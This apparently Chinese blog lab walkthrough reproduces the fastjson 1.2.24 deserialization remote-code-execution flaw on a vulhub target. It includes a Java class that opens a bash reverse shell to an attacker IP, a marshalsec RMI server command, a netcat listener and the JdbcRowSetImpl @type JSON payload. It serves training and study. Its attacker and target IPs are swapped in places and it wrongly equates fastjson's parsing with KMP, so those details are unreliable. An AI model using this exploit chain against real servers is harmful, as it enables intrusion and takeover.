fastjson 1.2.24反序列化漏洞

一、漏洞描述

1、序列化和反序列化

1)序列化:将java对象转换成字节流的过程

序列化过程:是指把一个java对象编程二进制的内容,实质上就是一个byte[]。因为序列化后可以把byte[]保存到文件中,或则把byte[]通过网络传输到远程(IO),如此就相当于把Java对象存储到文件或者通过网络传输出

java对象是什么?

1.对象是由我们自己定义的类来创建出来的

2.对象实际上就是类的具体实现

           例如:修建大楼时绘制的设计图纸就是类,根据设计图纸修建起来的真实的可以住人的大楼就是对象

           类--抽象  [抽取象什么一样的东西]--模版[设计图]

           对象--实现--实例[楼房]

3.没有类就没有对象

4.一个类可以创建出多个对象

5.类是对象的模版,对象是类的真实表现

       对象的作用

                         调用类中的变量和方法

 2)反序列化:将字节流转换成Java对象的过程

反序列化过程:把一个二进制内容(也就是byte[])变回Java对象。有了反序列化,保存到文件中的byte[]又可以“变回”Java对象,或者从网络上读取byte[]并把它“变回”Java对象。以下是一些使用序列化的示例:

         将程序的状态保存在磁盘上。例如保存游戏状态。

         通过网络以表单对象形式发送数据。例如,在聊天应用程序中以对象形式发送消息

3)为什么需要序列化与反序列化

当两个进程进行远程通信时,可以相互发送各种类型的数据,包括文本、图片、音频、视频等,而这些都会以二进制序列的形式在网络上传送。当两个Java进程进行通信时,需要Java序列化与反序列化实现进程间的对象传送。换句话说,一方面,发送方需要把这个Java对象转换为字节序列,然后在网络上传送;另一方面,接收方需要从字节序列中恢复出Java对象

优点:

       实现了数据的持久化,序列化可以把数据永久地保存到硬盘上(通常存放在文件里)

       通过序列化以字节流的形式使对象在网络中进行传递和接收

       通过序列化在进程间传递对象

注意事项:

        某个类可以被序列化,则其子类也可以被序列化

        声明为static和transient的成员变量,不能被序列化。static成员变量是描述类级别的属性,transient表示临时数据

         反序列化读取序列化对象的顺序要保持一致

4)Java序列化如何工作

Java对象在网络上传输或则持久化存储到文件中,需要进行序列化处理。而且仅当对象的类实现java.io.Serializable时,该对象才有资格进行序列化,然而真正的序列化动作不需要靠它完成。序列化是一个标记接口(不包含任何方法),该接口告诉Java虚拟机(JVM)该类的对象已准备好写入持久性存储或通过网络进行读取

java.io.Serializable:表示序列化,是一个空接口,也就是说这个接口没有声明任何的方法,所以实现这个接口的类也就不需要实现任何的方法

2、fastjson介绍

在前后端数据传输交互中,经常会遇到字符串(String)与json,XML等格式相互转换与解析,其中json以跨语言,跨前后端的优点在开发中被频繁使用,基本上可以说是标准的数据交换格式。fastjson是一个Java语言编写的高性能且功能完善的JSON库,它采用一种“假定有序快速匹配”的算法,把JSON Parse的性能提升到了极致,它的接口简单易用,已经被广泛使用在缓存序列化,协议交互,Web输出等各种应用场景中。

Fastjson是阿里巴巴的开源库,用于对JSON格式的数据进行解析和打包

特点如下:

        能够支持将Java bean序列化成JSON字符串,也能够将JSON字符串反序列化成Java bean

        顾名思义,fastjson操作 JSON的速度是非常快的

         无其他包的依赖

         使用比较方便

假定有序快速匹配算法:

假定有序快速匹配算法,简称KMP算法,是在BF算法基础上改进得到的算法。

BF算法:该算法的实现过程就是“傻瓜式”地用模式串(假定为子串的串)与主串中的字符一一匹配,算法执行效率不高

KMP算法不同,他的实现过程接近人为进行模式匹配的过程。例如,对主串A(“ABCABCE”)和模式串B(“ABCE”)进行模式匹配,如果人为去判断,仅需匹配两次

第一次如图1所示,最终匹配失败。但在本次匹配过程中,我们可以获得一些信息,模式串中“ABC”都和主串对应的字符相同,但模式串中字符“A”与“B”和“C”不同

因此进行下次模式匹配,没有必要让串B中的“A”与主串中的字符“B”和“C”一一匹配(他们绝不可能相同),而是直接去匹配失败位置处的字符"A",如图2所示:

至此,匹配成功。若使用BF算法,则此模式匹配过程需要进行4次

由此可以看出,每次匹配失败后模式串移动的距离不一定是1,某些情况下一次可移动多个位置,这就是KMP模式匹配算法

fastjson格式:

{

        "name":"abc",

        "age":22,

        "sex":"nv",

        "address":"shanghai"

}

3、漏洞成因

fastjson在解析json的过程中(反序列化过程中),支持使用@Type来实例化某一个具体的类,并自动调用该类的set/get方法来访问属性。通过查找代码中相关的方法(get方法远程加载恶意命令),即可构造出一些恶意利用链

实例化

1、什么是实例化对象

类是对象的抽象。对象是类的具体实例,需要通过类来创建

创建对象的过程称为实例化

意思是类是抽象的,需要通过创建对象(实例化对象)来使用类的功能

相当于创建变量,然后给变量赋值

 漏洞利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机。通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改、增加、删除等操作,对服务器造成巨大影响

受影响版本

fastjson <= 1.2.24

实验所需

目标机:192.168.1.129

攻击机:192.168.247.135

二、环境搭建docker-compose,vulhub(在这两台机器上)

三、启动靶场环境(192.168.247.135)

1、启动docker靶场

cd /vulhub-master/fastjson/1.2.24-rcel

docker-compose up -d

接下来都在kali攻击机配置(192.168.247.129)

2、配置jdk1.8环境(这一步很重要,否则后续反弹shell会失败)

安装jdk1.8

直接使用下面地址下载java1.8

链接:https://pan.baidu.com/s/1afpJomQm38Jm-MzArTXjhw?pwd=hjzk
提取码:hjzk

下载后xshell上传安装包

建立目录,将下载的jdk的安装包复制过去并进行解压

┌──(root?kali)-[/home/kali]

└─# mkdir -p /usr/local/java                                                                                                    

┌──(root?kali)-[/home/kali]

└─# cp jdk-8u202-linux-x64.tar.gz /usr/local/java                                                                               

┌──(root?kali)-[/home/kali]

└─# cd /usr/local/java                                                                                                 

┌──(root?kali)-[/usr/local/java]

└─# tar -zvxf jdk-8u202-linux-x64.tar.gz 

配置环境变量(注意下面的版本号要与自己下载的相同)

┌──(root㉿kali)-[/usr/local/java/jdk1.8.0_202]

└─# vim /etc/profile  

JAVA_HOME=/usr/local/java/jdk1.8.0_202

PATH=$PATH:$HOME/bin:$JAVA_HOME/bin

export JAVA_HOME 

export PATH

通知系统JAVA的位置

┌──(root㉿kali)-[~]

└─# sudo update-alternatives --install "/usr/bin/java" "java" "/usr/local/java/jdk1.8.0_202/bin/java"  1                                                                                  

┌──(root㉿kali)-[~]

└─# sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/local/java/jdk1.8.0_202/bin/javac" 1                                                                            

┌──(root㉿kali)-[~]

└─# sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_202/bin/javaws" 1                                                        

┌──(root㉿kali)-[~]

└─# sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_202/bin/javaws" 1

重新载入profile,使改动生效zheg

source /etc/profile

切换java版本为1.8

查看当前版本

java -version

切换版本

update-alternatives --config java

输⼊2,按回⻋

再次查看版本

java -version

java version "1.8.0_202

切换javac为1.8

javac -version

javac 17.0.9

切换版本

update-alternatives --config javac

输⼊2,按回⻋

再次查看版本

javac -version

javac 1.8.0_202

配置maven环境

Maven是一款服务于Java平台的自动化构建工具。Maven作为Java项目管理工具,它不仅可以用作包管理,还有许多的插件,可以支撑整个项目的开发、打包、测试及部署等一系列行为

传统工程我们直接把jar包放置在项目中,Maven工程真正的jar包放置在仓库中,项目中只用放置jar包的坐标。不使用Maven工具,当做Java项目需要第三方依赖包时,将别人打好的jar包下载到本地,然后手动指定给项目。另外,比如版本控制,需要新版本怎么办,重新下载,重新指定,这个过程操作麻烦。而用了Maven之后,直接在pom.xml中添加几行xml代码(添加所依赖的jar包的坐标),指定包名、版本等,就可以了,方便开发

安装Maven

下载maven安装包

链接:https://pan.baidu.com/s/1AfEtp6EdwyNskzsdHRGoKw?pwd=hjzk
提取码:hjzk
移动安装包到目录/opt下

 mv apache-maven-3.6.3-bin.tar.gz /opt/

解压maven安装包

tar -zxvf apache-maven-3.6.3-bin.tar.gz

配置maven

vim /etc/profile

在配置文件配置中加上:

export MAVEN_HOME=/opt/apache-maven-3.9.6 ##这个⽬录换成你的 maven 解压后的⽂件所在

⽬录

export PATH=$MAVEN_HOME/bin:$PATH

配置maven mvn,根据自己的包路径修改一下

update-alternatives --install /usr/bin/mvn mvn /opt/apache-maven-3.6.3/bin/mvn 1

刷新配置文件让文件生效

source /etc/profile

这⾥当你执⾏完 source /etc/profile 后提示如图,有⼀个 # 号显示,可以再#后⾯输⼊命令

查看maven 版本验证

mvn -version 或者 mvn -v

下载marshalsec

链接:https://pan.baidu.com/s/1fkh2XbyZFv_WJcVJzoQqIw?pwd=hjzk
提取码:hjzk
漏洞所需环境搞完

四、fastjson识别

访问http://192.168.247.129:8090,如下

使用curl向kali发POST一个JSON对象,响应包为自己提交的内容

curl http://192.168.247.129:8090/ -H "Content-Type: application/json" --data ' {"name":"Cwillchris","age":20}'

抓包修改请求方法为POST,最下面空一行添加{"name":"Cwillchris","age":20},即可更新服务端的信息

五、漏洞复现

kali攻击机新建一个文件,命名为HackerFile.java,添加如下内容

import java.lang.Runtime;
import java.lang.Process;
public class HackerFile {
    static {
        try  {
                Runtime r = Runtime.getRuntime();
                Process p = r.exec(new String[]{"/bin/bash","-c","baash -i >& /dev/tcp/192.168.247.129/5555 0>&1"});
                p.waitFor();
        } catch (Exception e) {
            //  do nothing
        }
    }    
}

编译此java文件,生成class文件(恶意类,可被目标服务器加载)

javac HackerFile.java

在当前目录下/root开启web服务,以便于后续目标机反连加载恶意类文件HackerFile.class

python3 -m http.server 8000

浏览器访问http://192.168.247.129:8000测试一下是否成功

开启RMI服务,开启7777端口监听

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.247.129:8000/#HackerFile" 7777

RMI服务:为远程方法调用,是允许运行在一个java虚拟机的对象调用运行在另一个java虚拟机上的对象的方法。这两个虚拟机可以是运行在相同计算机上的不同进程中,也可以是运行在网络上的不同计算机中。在网络传输的过程中,RMI中的对象是通过序列化方式进行编码传输的,这意味着,RMI在接收到经过序列化编码的对象后进行反序列化

RMI是java中转为Java环境设计的远程方法调用机制,远程对象能在rmi服务器上注册指向web服务器

JNDI:是java命令和目录接口,提供了查找各种命名和目录服务的统一的接口。简单理解就是:java微服务中的注册中心

新建终端,开启nc监听(此刻监听的端口和恶意文件内写的端口一致)

nc -lvnp 5555

浏览器访问:http://192.168.247.135:8090,

修改包如下:

{

  "b":{

      "@type":"com.sun.rowset.JdbcRowSetImpl",

            "dataSourceName":"rmi://192.168.247.129 :7777/HackerFile",

            "autoCommit":true

   }

}

  • 30
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

荔枝花开了

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值